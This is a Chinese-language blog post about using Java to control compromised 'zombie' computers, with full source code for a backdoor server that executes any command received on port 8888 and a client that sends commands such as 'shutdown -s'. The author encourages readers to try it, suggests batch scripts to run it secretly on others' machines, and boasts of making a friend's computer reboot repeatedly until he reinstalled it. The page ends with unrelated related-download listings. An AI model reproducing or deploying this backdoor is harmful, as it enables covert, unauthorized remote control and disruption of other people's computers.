`

java也可以来做黑客:控制肉鸡

    博客分类:
  • java
阅读更多

上次本人介绍了扫面端口,这次就简单说一下对肉鸡的控制吧!
一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个135的端口,我们通过它了做一些操作。大名鼎鼎的“冲击波”就是通过它了实现的。
关于135的端口说明如下:

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。

端口说明:135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代 码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。

当然通过java来实现,确实有点困难,本人不多说。还有一种简单远程方法就是种木马。至于如何挂马的问题,不再本文的研究范围,如有兴趣读者可以自己查阅。言归正传,我们看一下java远程控制的简单实现。

远程计算机注入的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;

public class Main implements Runnable {
    public static final int TCP_PORT = 8888;
    ServerSocket ss = null;
    Socket s = null;
    String cmd = null;

    public Main(Socket s) {
        this.s = s;
    }

    public void startServer() {
        try {
            ss = new ServerSocket(TCP_PORT);
               } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        while (true) {
            try {
                s = ss.accept();
                new Thread(new Main(s)).start();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }

    public void run() {
        try {
            DataOutputStream dos = new DataOutputStream(s.getOutputStream());
            dos.writeUTF("连接成功");
            DataInputStream dis = new DataInputStream(s.getInputStream());
            while (true) {
                cmd = dis.readUTF();
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                }
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        new Main(null).startServer();
    }

}

       原理很简单,就是在计算机上建立一个ServerSocket,监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后执行cmd命令。

       本机的代码如下:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main  {
    public static final int TCP_PORT = 8888;
    public static String ip = "127.0.0.1"; 
    Socket s = null;
    String cmd = null;
    
    public static void main(String[] args) {
        new Main().connect();
    }
    
    public void connect(){
        try {
            s = new Socket(ip,TCP_PORT);
    System.out.println("连接成功");
            DataOutputStream dos = new DataOutputStream(s.getOutputStream());
            do{
            cmd = JOptionPane.showInputDialog("输入命令:");
            dos.writeUTF(cmd);
            }while(!cmd.equals("over"));
            
            new Thread(new RecvThread()).start();
        } catch (UnknownHostException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
    private class RecvThread implements Runnable{
    public void run() {
        DataInputStream dis;
        while(true){
        try {            
            dis = new DataInputStream(s.getInputStream());
            String message = dis.readUTF();
      JOptionPane.showMessageDialog(null, message);
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
    }
}
}

        原理是,这边连入对方的服务端,向对方发送一个cmd命令,对方电脑就会执行。简单的如“shutdown -s”,就是让对方关机。

     弄清楚是怎么一回事后,就会发现这些非常的简单。有兴趣的话,大家可以试一下。尤其是对于初学者,有很大的动力。其实,Java在单机上也有很大的发展潜力的。

     
注:需要说明的是,由于本人的firefox不支持该博客的代码插入功能,只能将代码简单的复制,请大家见谅。另外如果要想让该程序成功的在他人计算机上偷偷的运行,只靠java还是不行。加上一些处批命令,就可以简单的搞定。有兴趣的话,大家可以研究。本人就用着段简单的代码,让一个哥们的电脑频繁的重启,呵呵!害他不知所以然,还重装了一遍系统。大家知道了不要告诉他哦!
分享到:
评论

相关推荐

    黑客:计算机革命的英雄

    《黑客:计算机革命的英雄》是Steven Levy所著的一本书,记录了计算机革命中那些真正的黑客们的故事。书中讲述了黑客文化的历史,以及黑客们如何通过他们的冒险、远见和对计算机的深刻理解,推动了计算机技术的发展...

    Java实现黑客帝国代码雨

    总的来说,实现"黑客帝国代码雨"是一个有趣的练习,可以帮助Java初学者熟悉图形用户界面编程,理解事件处理机制,并且能够动手实践动态效果的创建。通过参考提供的链接(<https://blog.csdn.net/m0_66345324/article...

    黑客点击:股市猎手的擒拿技巧

    炒股经典书籍”,我们可以推断出这本书是关于如何在股市中运用某些策略和技术来获取利润的指南。尽管提供的链接没有具体信息,但我们可以基于书名和描述来构建一些关于书中可能涉及的关键知识点。 ### 黑客点击:...

    Java实现黑客帝国代码雨(待机屏保)

    在Java编程语言中,"黑客帝国代码雨"(也称为"Matrix Code")是一种常见的编程艺术展示,灵感来源于电影《黑客帝国》中的经典场景。这个程序通常会模拟电影中绿色字符垂直下落的效果,作为屏幕保护程序或者演示示例...

    Java小游戏之数字彩虹雨

    【Java小游戏之数字彩虹雨】是一款基于Java编程语言开发的小型互动程序,灵感来源于电影《黑客帝国》中的经典视觉效果——“数字雨”。这个小游戏旨在为初学者提供一个实践Java编程、图形用户界面(GUI)设计以及动画...

    java实现流动雨视觉效果(黑客帝国电影效果)

    java实现流动雨视觉效果(实现黑客帝国电影中雨状效果)

    javarain.java 黑客帝国数字雨

    javarain.java 黑客帝国数字雨 java源代码

    黑客帝国代码雨-java实现

    这种效果可以通过编程来实现,特别是在Java语言中。以下是对如何使用Java实现“代码雨”效果的详细解释。 首先,我们需要理解Java中的图形用户界面(GUI)和动画原理。Java提供了丰富的图形库,如Java AWT...

    黑客大曝光‛:工业控制系统安全

    黑客大曝光‛:工业控制系统安全

    黑客奥德赛:2600精选集

    作者Goldstein不仅是《2600》杂志的创始人,也是一位资深的黑客和计算机安全领域的探索者。他通过个人经历和对历史资料的整理,展现了黑客文化的发展和对社会的影响。书中还包含对那些敢于与众不同、勇于挑战现状的...

    电脑时代的牛仔——黑客

    非常详细的介绍了电脑的发展和随之产生的黑客的发展。很不错的书

    仿黑客帝国弹幕雨java

    总结来说,"仿黑客帝国弹幕雨Java"项目展示了Java语言在图形界面应用开发中的灵活性,以及Maven在项目管理和构建中的实用性。通过exe4j的使用,我们可以将Java程序转换为更易于分发的exe格式,而将JRE一同打包则确保...

    java源码留言本-muety:沉默

    java源码留言本 :waving_hand: 你好呀! 我是费迪南德·穆奇 我喜欢用代码解决问题 :man_technologist: 关于我 :round_pushpin: ...如果您喜欢我的项目并想通过捐赠来支持我,您可以通过 GitHub 赞助商或通过 .

    渗透术语大合集.pdf

    同时,黑客也可以使用各种工具来控制计算机,如木马、后门、Shell、webshell等。 渗透测试的目的主要是为了检测网络系统的安全漏洞和威胁,并且采取相应的防御措施来保护网络系统。因此,渗透测试是网络安全领域中...

    黑客攻防技术宝典:Web实战篇(第2版)1

    《黑客攻防技术宝典:Web实战篇(第2版)》是一本专注于Web应用程序安全的实战指南,由Dafydd Stuttard和Marcus Pinto撰写,由石华耀和傅志红翻译。该书深入浅出地探讨了Web应用程序的安全风险和攻防策略,适合网络...

    黑客大曝光:网络安全机密与解决方案(第7版)

    黑客大曝光:网络安全机密与解决方案(第7版)

    JavaParser-AST-Inspector:使用JavaParser(https

    JavaParser AST检查器 根据编辑器中的Java代码浏览和导航抽象语法树(AST)。 使用当前可处理Java 1-15的JavaParser v3.20.2,即将推出Java 16!安装使用IDE内置插件系统: 设置/首选项>插件>市场>搜索“ JavaParser...

    黑客入门(超级详细版).txt

    通过以上对《黑客入门(超级详细版)》的内容总结与扩展,我们可以看到,成为一名合格的“黑客”不仅需要掌握大量的计算机与网络安全知识,还需要具备良好的道德观和社会责任感。无论是为了防御还是攻防实践,都应该...

    黑客帝国二进制数字代码雨代码

    通过设置适当的延时,我们可以控制雨滴下落的速度,增加视觉效果的真实性。 在实际的项目中,`BinaryRain.java`可能是主类,它初始化`BinaryRainDrop`实例并启动绘制循环。通过调整参数,如雨滴的数量、颜色、速度...

Global site tag (gtag.js) - Google Analytics